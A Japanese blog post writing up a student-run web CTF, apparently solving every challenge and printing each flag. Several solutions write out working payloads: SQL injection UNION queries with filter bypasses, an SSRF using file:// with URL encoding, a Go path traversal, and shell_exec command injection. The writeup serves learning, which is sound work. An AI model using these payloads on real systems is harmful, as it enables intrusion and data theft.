アオカケスの鳥かご

日々の出来事を綴っていきたい

Archiso Web Challenges 2019 writeup

サークルの後輩がまたCTFを開催してくれました。
本当に何者なのだろう。


順位は10位でした。
f:id:aokakes:20191229124648p:plain

なんとか全問解けたのでwritepupを公開します。

Welcome

Welcome to AWebC19[50]

問題文のFlagをそのまま入力するだけ。

WebC{W3lcome_t0_Archis0_We6_Cha1lenges_2019_6cd97dcc}

Web

Out of Display[100]

f:id:aokakes:20191229111614p:plain
ディスプレイ上にフラグはないよ!

確かにページ上にはFlagは無いのでソースを確認します。
f:id:aokakes:20191229111832p:plain

Flagがコメントアウトされていました。

WebC{0ops_y0u_c4n_find_m3_8356eb46}

Whited Out[100]

f:id:aokakes:20191229112034p:plain
だから画面の中にフラグはないの。本当だよ?

同じくパッと見だとFlagはなさそうなのでソースを確認。
f:id:aokakes:20191229112232p:plain

こちらはコメントアウトではなく、普通に白文字でした。
f:id:aokakes:20191229112259p:plain

WebC{7his_f1ag_i5_whit3d_0ut_0d856efe}

Rel[100]

f:id:aokakes:20191229112332p:plain
link要素を用いることでスタイルシートをリンクすることができます。

やはりページ上にはとくに何もないのでソースを確認する。
f:id:aokakes:20191229112443p:plain

問題文にスタイルシートとあるのでstyle.cssを確認。
f:id:aokakes:20191229112529p:plain

Flagが書いてあった。

WebC{sty1esh3et5_c4n_be_1ink3d_6y_re1_4ttribu7e_192ecb0e}

Agent[200]

f:id:aokakes:20191229112620p:plain
我々の道具であり、手先である。

AgentをNCSA Mosaicのバージョン2.0に設定すればいけそうです。
どんな表記にすればいけるのかよく分かりませんが、とりあえず「NCSA Mosaic 2.0」にしてみたらいけました。
f:id:aokakes:20191229112839p:plain
f:id:aokakes:20191229112853p:plain

WebC{D0_y0u_s7ill_u5e_Wind0ws_3.1_in_thi5_c3ntury?_cc6efe69}

Ref[200]

f:id:aokakes:20191229112930p:plain
あなたはどこから来ましたか?

リファラーを「https://www.google.com/」にすればいけそうです。

最初に思いついたのは自分でページを用意してリファラーを偽装することでしたが、よく考えればリファラーの偽装なんてブラウザだけで完結できそうなものです。
ggったらchrome拡張機能に「Referer Control」というものがありました。

いい感じに設定します。
f:id:aokakes:20191229113232p:plain

ページを更新したらFlagが出てきました。
f:id:aokakes:20191229113313p:plain

WebC{N0w_you_acc3ssed_7his_sit3_fr0m_go0g1e_0ec9b975}

Oluri Key[300]

f:id:aokakes:20191229113435p:plain
オオルリはかわいい、Cyber研究会の門番。
今回もオオルリさんをありがとうございます。

ページはいかにもお約束的な感じなのでおまじないを入力します。
f:id:aokakes:20191229113522p:plain

Flagが出てきました。
f:id:aokakes:20191229113543p:plain

WebC{N0w_y0u_c4n_l0gin_to_0ur_k3y_sys7em_0e789551}

Fruits List[300]

f:id:aokakes:20191229113635p:plain
季節ごとのフルーツの一覧が見られます!

季節をクリックしてみるとフルーツが出てきます。
f:id:aokakes:20191229113723p:plain

ソースを確認してみると、それっぽい部分がありました。
f:id:aokakes:20191229113815p:plain

shell_execで ls [入力内容] を実行しているっぽいので、「 / 」を入力してみるとFlagが出てきました。
f:id:aokakes:20191229114007p:plain

WebC{Y0u_c4n_choo5e_frui7s_with_y0ur_f4vorite_season!_b5d3a864}

Dolls Data 1[400]

f:id:aokakes:20191229114148p:plain
ドールズフロントラインの戦術人形のデータベースを作りました! 是非利用してみてください!

なんだかSQLインジェクションっぽいので、とりあえず「1' or 1 = 1 -- 」をやってみます。
送信してみると全部表示されたのでやはり脆弱性があるようです。

information_schemaでテーブルとカラムの一覧を取ってこれるか探ります。
カラム数は11でした。

a' UNION SELECT table_name,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns -- 

最後にそれっぽいのがありました。
f:id:aokakes:20191229114816p:plain

dolls_data_1_flag_b3f4befcからkar98kのデータを結合します。

a' UNION SELECT kar98k,2,3,4,5,6,7,8,9,10,11 FROM dolls_data_1_flag_b3f4befc -- 

Flagが出てきました。
f:id:aokakes:20191229115034p:plain

WebC{D0lls_front1ine_i5_v3ry_nic3_g4me!_Y0u_mu5t_p1ay_i7_n0w!_d10e093d}

Single Page HTML Viewer 2[400]

f:id:aokakes:20191229115154p:plain
HTMLファイルの中身を見ることができるシングルページアプリケーションを改良しました! 今度は外部サーバのページも表示できますよ! 当然脆弱性はありません!当たり前です!

一番苦労した問題です。

SUN CTFのときに似たような問題がありました。
あのときはサーバー内にあるファイルしか表示出来ませんでしたが、今回は外部もいけるようです。

試しに「https://aokakes.hatenablog.com/」でやってみると、構成は崩れていますがブログが表示されました。
f:id:aokakes:20191229115546p:plain

ちなみに問題文のヒントにある「/flag」を入力すると、不正アクセスとして弾かれます。
f:id:aokakes:20191229115730p:plain

ソースにmain.jsがあるのでそちらを確認してみると以下のようになっていました。

$(function () {
  $('#submit-button').on('click', function () {
    const url = $('#url-input').val()

    $('#error').html('')
    $('#error').removeClass('error')

    $('#url-input').val('')
    $('#content').html('')

    if (!url) {
      $('#error').addClass('error')
      $('#error').html('<p>URL縺悟�蜉帙&繧後※縺�∪縺帙s</p>')

      return false
    }

    if (url.match(/flag/)) {
      $('#error').addClass('error')
      $('#error').html('<p>荳肴ュ」縺ェ繧「繧ッ繧サ繧ケ繧呈、懷�縺励∪縺励◆</p>')

      return false
    }

    const params = new URLSearchParams()
    params.append('url', url)

    axios.post('query.php', params)
      .then(function (res) {
        if (!res.data.error) {
          $('#content').html(res.data.content)
        } else {
          $('#error').addClass('error')
          $('#error').append('<p>' + res.data.error + '</p>')
        }
      })
      .catch(function (err) {
        $('#error').addClass('error')
        $('#error').append('<p>騾壻ソ。縺ォ螟ア謨励@縺セ縺励◆</p>')
        console.log(err)
      })

    return false
  })
})

18行目で、入力値にflagが含まれているとページの取得すら行わないようです。
これに関しては形を変えてあげれば回避できます。

私はURLエンコードで回避しました。

%66%6c%61%67

しかし、残念ながら /%66%6c%61%67 と入力しても無効なURLとして弾かれてしまいます。
f:id:aokakes:20191229120242p:plain

どうやらURLの体裁を整えていなければならないようです。

色々試してみると、 :// が含まれていればURLとして認識してくれることが分かりました。
localhost とか 127.0.0.1 も無理っぽいし、どうすればええんや...としばらく格闘した結果、google先生が教えてくれました。
f:id:aokakes:20191229120628p:plain

あっ...file://ですか...
そういえばそんなものがありました。

というわけで以下のように入力。

file:///%66%6c%61%67

Flagが出てきました。
f:id:aokakes:20191229120738p:plain

WebC{Y0u_c4n_acc3ss_secur3_inform4tions_6y_usin9_s3rver_5ide_reques7_forg3ry_c9e4858a}

Dolls Data 2[500]

f:id:aokakes:20191229120903p:plain
さっきのシステムには脆弱性があったので、修正しました! 使わなきゃいけない記号があるので、それは使えるようにしています!

1つ目と見た目はとくに変わりません。
とりあえずさっきと同じものを入力してみると、入力文字列が以下のように変化しました。

a' UNION SELECT table_name,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns -- 
↓
a' UNION SELECT table_namecolumn_name34567891011 FROM information_schema.columns -- 

カンマが削除されています。
そこでカンマを使わずにSQL文を作る方法を考えます。

JOIN句を使いましょう。

1' UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT column_name FROM information_schema.columns)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k -- 

一度にテーブル一覧とカラム一覧を表示しているので取得に時間がかかります。

最後にそれっぽいのがありました。
f:id:aokakes:20191229121502p:plain

同じようにしてdolls_data_2_flag_dfe61e6cからhkm4のデータを結合するSQL文を作ります。

1' UNION SELECT * FROM (SELECT hkm4 FROM dolls_data_2_flag_dfe61e6c)a JOIN(SELECT 2)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k -- 

Flagが出てきました。
f:id:aokakes:20191229121629p:plain

WebC{404_s9uad_c0nsi5ts_0f_UMP45_UMP9_GrG11_4nd_416_702e53df}

Go Mikuji[500]

f:id:aokakes:20191229121732p:plain
Go言語でおみくじを作りました! 是非来年の運勢を占ってみてください!

Play Omikujiに飛んでみるとおみくじを引けます。
f:id:aokakes:20191229121950p:plain

いや、Goなんて知らないんですけど...なんて思いながらソースを確認します。

package main

import (
	"fmt"
	"io"
	"log"
	"math/rand"
	"net/http"
	"os"
	"path"
	"path/filepath"
	"strings"
)

func main() {
	cwd, err := os.Getwd()

	if err != nil {
		log.Fatal(err)
	}

	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		name := filepath.FromSlash(filepath.Join(cwd, "public", path.Base(r.URL.Path)))
		path := strings.Replace(name, "\\", "/", -1)
		f, err := os.Open(path)

		if err != nil {
			http.NotFound(w, r)
			return
		}

		defer f.Close()
		io.Copy(w, f)
	})

	http.HandleFunc("/public/omikuji", func(w http.ResponseWriter, r *http.Request) {
		results := []string{"大吉", "中吉", "小吉", "凶", "大凶"}
		fmt.Fprintf(w, "<html><head><title>Go Mikuji | Fortune</title><meta charset=\"utf-8\"></head><body><h1>Go Mikuji</h1><p>Today's fortune: %s</p></body></html>", results[rand.Intn(len(results))])
	})

	http.ListenAndServe(":8080", nil)
}

やっぱりよく分かりませんでした。

半ば諦めつつggっていると以下のサイトにたどり着きました。
mattn.kaoriya.net

なんか、URLの末尾に ..%5cmain.go とか入力するとディレクトリトラバーサルが発生するとかしないとか。
まさかな~、と思いつつやってみたらmain.goが表示されました。
f:id:aokakes:20191229122349p:plain

同じようにして ..%5cflag.txt としてみるとFlagが出てきました。
f:id:aokakes:20191229122438p:plain

WebC{pa7h_p4ckage_hand1e_fil3_p4th_4s_l0gical_p4th_9bfe7b26}

Dolls Data 3[600]

f:id:aokakes:20191229122548p:plain
さっきのシステムには実装ミスがあったので、さらに修正しました! 今度こそ完璧です!

3つ目のDolls Dataです。
今回も2つ目のやつを入力して比較してみます。

1' UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT column_name FROM information_schema.columns)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k -- 
↓
1'UNIONSELECT*FROM(SELECTtable_nameFROMinformation_schema.columns)aJOIN(SELECTcolumn_nameFROMinformation_schema.columns)bJOIN(SELECT3)cJOIN(SELECT4)dJOIN(SELECT5)eJOIN(SELECT6)fJOIN(SELECT7)gJOIN(SELECT8)hJOIN(SELECT9)iJOIN(SELECT10)jJOIN(SELECT11)k

スペースとハイフンが削除されています。
スペースを /**/ に、ハイフンを ; に変更しましょう。

1'/**/UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/table_name/**/FROM/**/information_schema.columns)a/**/JOIN(SELECT/**/column_name/**/FROM/**/information_schema.columns)b/**/JOIN(SELECT/**/3)c/**/JOIN(SELECT/**/4)d/**/JOIN(SELECT/**/5)e/**/JOIN(SELECT/**/6)f/**/JOIN(SELECT/**/7)g/**/JOIN(SELECT/**/8)h/**/JOIN(SELECT/**/9)i/**/JOIN(SELECT/**/10)j/**/JOIN(SELECT/**/11)k/**/;/**/

出てきました。
f:id:aokakes:20191229122910p:plain

あとはやるだけ。

1'/**/UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/m4a1/**/FROM/**/dolls_data_3_flag_979c7e90)a/**/JOIN(SELECT/**/2)b/**/JOIN(SELECT/**/3)c/**/JOIN(SELECT/**/4)d/**/JOIN(SELECT/**/5)e/**/JOIN(SELECT/**/6)f/**/JOIN(SELECT/**/7)g/**/JOIN(SELECT/**/8)h/**/JOIN(SELECT/**/9)i/**/JOIN(SELECT/**/10)j/**/JOIN(SELECT/**/11)k/**/;/**/

f:id:aokakes:20191229123001p:plain

WebC{Con9ratu1ati0ns!_Y0u_ar3_7he_tru1y_m4ster_0f_SQL_inj3ction!_7a5c9318}

まとめ

前半はサクサクと解けましたが、後半は変な先入観で沼ってしまったところがありました。
f:id:aokakes:20191229123244p:plain

まさかカラム数が11もあるわけないでしょ...とか考えて別のことをやっていて1時間以上無駄にしたような気がします。
速い人は30分もかからずに解き終わっているのでCTFガチ勢には全て簡単な問題だったのかもしれませんが、私にはちょうど良い難易度だったのかなと思います。

全問解いた人は参加者33人中、自分を含めて10人でした。
順位は10位でしたが、スコアボードのグラフに自分の名前を残すことが出来て安心しましたw


しかしこうやってCTFをやっていると自分でまた問題を作りたくなってきますね...
(私が今までに)見たことがないような問題だけを揃えて開催出来たら面白いかなーと思います。



乞うご期待。